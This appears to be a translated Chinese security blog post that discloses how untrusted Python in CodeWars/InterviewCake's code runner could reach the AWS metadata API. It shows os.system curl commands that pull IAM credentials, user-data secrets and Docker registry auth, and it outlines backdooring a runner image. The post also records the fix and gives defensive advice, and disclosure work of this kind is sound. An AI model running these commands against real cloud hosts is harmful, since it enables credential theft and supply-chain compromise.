导语:我最近在一个小型玩具项目上工作,是在Docker容器中执行不信任的Python代码。我测试了几个在线的代码执行引擎,想看看它们对各种攻击的反应。

我最近在一个小型玩具项目上工作,是在Docker容器中执行不信任的Python代码。我测试了几个在线的代码执行引擎,想看看它们对各种攻击的反应。在我这样做的时候,我发现Qualified开发的代码执行引擎中有几个有趣的漏洞,这些漏洞已经被广泛使用,包括CodeWarsInterviewCake等网站。能够运行代码与网络访问的这两个组合以及在Amazon Web Services中运行的基础架构使得我可以在本文中展示一些非常有趣的漏洞。

首先介绍一下我通过InterviewCake客户在 Qualified 代码执行引擎中发现的几个漏洞。然后,我们将针对一个具体的安全问题进行讨论:在AWS上运行的服务中的SSRF漏洞。我不会介绍什么是SSRF漏洞以及相关的基础知识,因为已经有很多相关的资源了(可以在这里这里以及这里找到)。用一句话总结来说,就是,这是一个允许你让应用程序发起网络连接的漏洞。

注意1:在在线代码执行引擎的上下文中,SSRF 术语是否适合,因为它允许有意义的网络连接是有争议的。但是,我选择坚持这个术语,因为我演示的漏洞适用于在易受SSRF攻击的AWS上运行的任何应用程序。

注意2:即使我在这篇文章中谈论的是InterviewCake,但是我想说明的是,他们没有任何安全问题,而我发现的那个也并不代表任何安全风险。

漏洞说明 

如果你浏览InterviewCake的随机问题页面 ,你将在页面底部找到一个可以键入和执行代码的小区域。

1498270163303400.png

我们可以遵循Python代码,运行任何bash命令:

import os
os.system("my command")

通过深入一点的挖掘,我们可以看到主机名会在每次运行时都发生变化, init进程在以下控制组中运行:

 9:perf_event:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 
 8:memory:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 
 7:hugetlb:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
 ...

基于这两个信息,代码似乎很可能是在Docker容器中运行的。容器似乎可以访问互联网,所以我们可以很容易地检查出容器的外网IP是什么,例如使用非常方便的IfConfig.co服务。

import os
os.system("curl ifconfig.co")
107.20.17.162

如果我们进行反向DNS查找,我们可以看到该IP属于AWS EC2:

$ nslookup 107.20.17.162
Non-authoritative answer:
162.17.20.107.in-addr.arpa name = ec2-107-20-17-162.compute-1.amazonaws.com.

对于那些不熟悉EC2的人来说,这是一个类似于DigitalOcean的服务,它允许你在云中产生一个虚拟机。

漏洞利用

AWS EC2具有一个名为 Instance Metadata Service (官方文档)的功能。这个功能可以使得任何EC2实例能够访问运行在169.254.169.254上的REST API,它返回了有关实例本身的数据。一些示例数据包括实例名称,实例映像(AMI)ID和一些其他有趣的事情。

由于我们的代码似乎在EC2实例上运行(或者更具体地说,在EC2实例的Docker容器中),因此可以访问到这个API。让我们看看我们可以从中得到什么。

import os
def get_endpoint(endpoint):
    os.system("curl http:/169.254.169.254" + endpoint)
    print()
 
print("[*] AMI id")
get_endpoint("/latest/meta-data/ami-id")
 
print("[*] Security credentials")
get_endpoint("/latest/meta-data/iam/security-credentials/")
 
print("[*] User script")
get_endpoint("/latest/user-data/")

我们得到以下输出:

[*] AMI id
ami-246cc332
 
[*] Security credentials
ecsInstanceRole
 
[*] User script
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
aws s3 cp s3://ecs-conf/docker.json /home/ec2-user/.docker/config.json
aws s3 cp s3://ecs-conf/cloudwatch.credentials /etc/cloudwatch.credentials
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...]ac

让我们把上面的内容分割一下吧。

AMI id

这是主机使用的标识符AMI(Amazon Machine Image)。看起来这似乎是一个私有的id,然而并没有什么非常让人兴奋的意义。

安全凭证

这是附加到机器的IAM角色的列表。IAM(身份访问管理)是AWS的服务,允许你管理用户,角色和权限。 我们看到在这里它是一个单一的角色——ecsInstanceRole,因此可以使用元数据API访问附加到此角色的凭证数据。这是一种允许你将角色附加到机器的机制,而不是将AWS API密钥硬编码到应用程序代码中。我们可以查询API来获取相关的凭证数据:

get_endpoint("/latest/meta-data/iam/security-credentials/ecsInstanceRole")
{
 "Code" : "Success",
 "LastUpdated" : "2017-03-26T09:59:42Z",
 "Type" : "AWS-HMAC",
 "AccessKeyId" : "ASIAIR[redacted]XQ",
 "SecretAccessKey" : "42oRmJ[redacted]K2IRR",
 "Token" : "FQoDYXdzEOv//////[redacted]",
 "Expiration" : "2017-03-26T16:29:16Z"
}

使用这些凭据,应用程序(或攻击者)可以使用AWS API来执行角色ecsInstanceRole允许的任何操作。ECS代表EC2容器服务 。它是另一个AWS服务,允许你轻松地在云中运行Docker容器,并抽取其运行的机器和方式。

现在,我们显然有兴趣了解这些凭证能提供给我们的访问级别。如果我们挖掘一下AWS文档,我们很容易就可以发现ecsInstanceRole是一个默认的IAM角色,附带了以下策略:

{
"Version": "2012-10-17",
   "Statement": [
   {
     "Effect": "Allow",
     "Action": [
       "ecs:CreateCluster",
       "ecs:DeregisterContainerInstance",
       "ecs:DiscoverPollEndpoint",
       "ecs:Poll",
       "ecs:RegisterContainerInstance",
       "ecs:StartTelemetrySession",
       "ecs:Submit*",
       "ecr:GetAuthorizationToken",
       "ecr:BatchCheckLayerAvailability",
       "ecr:GetDownloadUrlForLayer",
       "ecr:BatchGetImage",
       "logs:CreateLogStream",
       "logs:PutLogEvents"
     ],
   "Resource": "*"
   }
 ]
}

因此,我们可以做一些有趣的事情,包括创建ECS集群,从集群中删除EC2实例,写入应用程序的日志等。

用户脚本

此端点返回一个用户定义的脚本,该脚本在首次启动新的EC2实例时运行。此脚本通常用于基本配置,例如更新包,运行服务,显然有时也会用于存储敏感信息(即使不鼓励这么做)。

我已经复制粘贴了在脚本中以下有趣内容:

aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...redacted...]ac

最后一行泄漏了一个 NewRelic 许可证密钥。

第一个命令从ecs-conf S3 中下载了配置文件。使用AWS CLI工具 ,我们注意到即使无法列出存储的内容,也可以公开访问文件ecs.config 。

[email protected]:~# aws s3 cp s3://ecs-conf/ecs.config ecs.config
download: s3://ecs-conf/ecs.config to ./ecs.config
[email protected]:~# cat ecs.config
 
ECS_ENGINE_AUTH_TYPE=dockercfg
ECS_ENGINE_AUTH_DATA={"https://index.docker.io/v1/":{"auth":"M30s[...redacted...]hV=","email":"[email protected][...redacted...].co"}}

auth参数是一个base-64编码的字符串,解码后为codearsdeploy:somepassword (密码已被编辑),这允许我们登录到Qualified的私有Docker上!

这意味着我们可以检索Docker镜像 codewars/runner-server ,看看里面有什么,包括一个后门或其中的任何恶意软件,并将其推回到注册库中。然后,我们的恶意代码就会在Qualify的代码执行引擎执行时运行代码,这意味着:每次有人在InterviewCake上提交解决方案时,都会遇到CodeWars等问题。

结论

我向杰克报告了这个问题 ,之后,这个漏洞在几天之内得到解决。

当你在AWS上运行应用程序时,你必须了解Metadata API,因为你的应用程序中的任何一种SSRF都会产生巨大的后果。为了限制这些,最好遵循以下原则。

1. 不要在配置脚本中存储任何敏感数据(AWS称为用户脚本 )。

2. 如果你的机器需要附加一个IAM角色,请给它绝对最小的权限。你可以使用IAM策略模拟器来确保你设置的一组权限的行为方式与你预期的是一致的。

3. 如果你不使用元数据API,请对其进行防火墙拦截或只允许root用户访问( 例如使用iptables )。

4. 如果你查看HackerOne,你会发现几个报告提到了类似的漏洞: #53088 ($ 300), #158016 ($ 50), 128685#53088 ($ 1000)。请注意,问题不是AWS特有的; 例如,OpenStack和Google Cloud也有类似的问题。然而,Google要求对其元数据服务的所有请求都包含一个特定的HTTP头 ,这意味着唯一控制请求URL的攻击者无法访问到它,除非能够执行某种HTTP头注入

如果你想了解更多关于该主题,请参阅附加资源:

1. AWS漏洞和攻击者的角度 ,By RhinoLabs

2. EC2最危险的功能

3. 从受感染的机器收集实例元数据的Metasploit模块

源链接

Hacking more

...